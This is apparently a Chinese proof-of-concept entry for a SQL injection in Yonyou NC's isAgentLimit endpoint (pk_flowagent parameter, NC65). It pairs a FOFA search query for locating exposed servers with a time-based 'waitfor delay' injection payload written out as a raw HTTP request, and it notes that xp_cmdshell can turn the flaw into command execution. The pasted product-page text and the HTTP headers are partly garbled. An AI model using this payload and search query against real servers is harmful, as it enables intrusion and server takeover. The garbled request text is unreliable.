Y4-82用友-NC-SQL

漏洞描述:

用友NC /portal/pt/oacoSchedulerEvents/isAgentLimit接口中的pk_flowagent参数存在SQL注入漏洞,攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令,从而控制服务器。经过分析与研判,该漏洞利用难度低,建议尽快修复。

影响版本:

NC65

网站图片:







连接

与企业应用的链接优化,并支持企业应用在终端上的自验相关的端服务,并对提供的服务进行应用优化。 动手级

UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造一个面向企业的端服务平台,提供改善体

体验

社交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接,提供企业间数据共享和连接的服务,形成基于1 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

fofa语法:

app="用友-UFIDA-NC"

漏洞复现:

延时5秒 payload:

GET /portal/pt/oacoSchedulerEvents/isAgentLimit?pageId=login&pk flowagent=1'waitfor+delay+'0:0:5'-- HTTP/1.1

Sol / portary processes described by the first your-ip (which is your-ip user-Agent: Moxilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 (Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept: */*
Connection: keep-alive

效果图:

